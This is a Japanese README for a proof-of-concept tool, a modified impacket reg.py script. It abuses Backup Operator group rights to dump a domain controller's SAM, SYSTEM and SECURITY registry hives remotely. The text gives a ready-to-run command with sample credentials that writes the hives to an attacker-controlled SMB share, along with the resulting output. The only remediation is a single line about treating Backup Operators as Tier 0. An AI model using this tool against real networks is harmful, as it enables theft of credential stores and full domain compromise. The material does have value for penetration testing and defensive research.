Backup Operator Registry Backup to Domain Compromise（バックアップオペレータのレジストリバックアップによるドメイン侵害）

Backup Operator の権限を悪用して SAM、SYSTEM、SECURITY ハイブをリモートダンプするシンプルな POC です。

研究クレジット:

@filip_dragovic
移植元: @mpgn の Windows PoC

使用方法

この proof of concept は impacket/examples/reg.py の修正版であり、最新の impacket リリースがインストールされていれば動作します。サポートされている impacket の認証メカニズムはすべて動作します。

root@kali:~# python3 reg.py jsmith:'Spring2021'@10.0.229.1 backup -p '\\10.0.220.51\share'
Impacket v0.9.25.dev1+20220208.122405.769c3196 - Copyright 2021 SecureAuth Corporation

Dumping SAM hive to \\10.0.220.51\share\SAM
Dumping SYSTEM hive to \\10.0.220.51\share\SYSTEM
Dumping SECURITY hive to \\10.0.220.51\share\SECURITY

Proof

修復方法:

Backup Operators ドメイングループは、Domain Admins やその他の Tier 0 リソースと同様に扱います。

backup_dc_registry

人気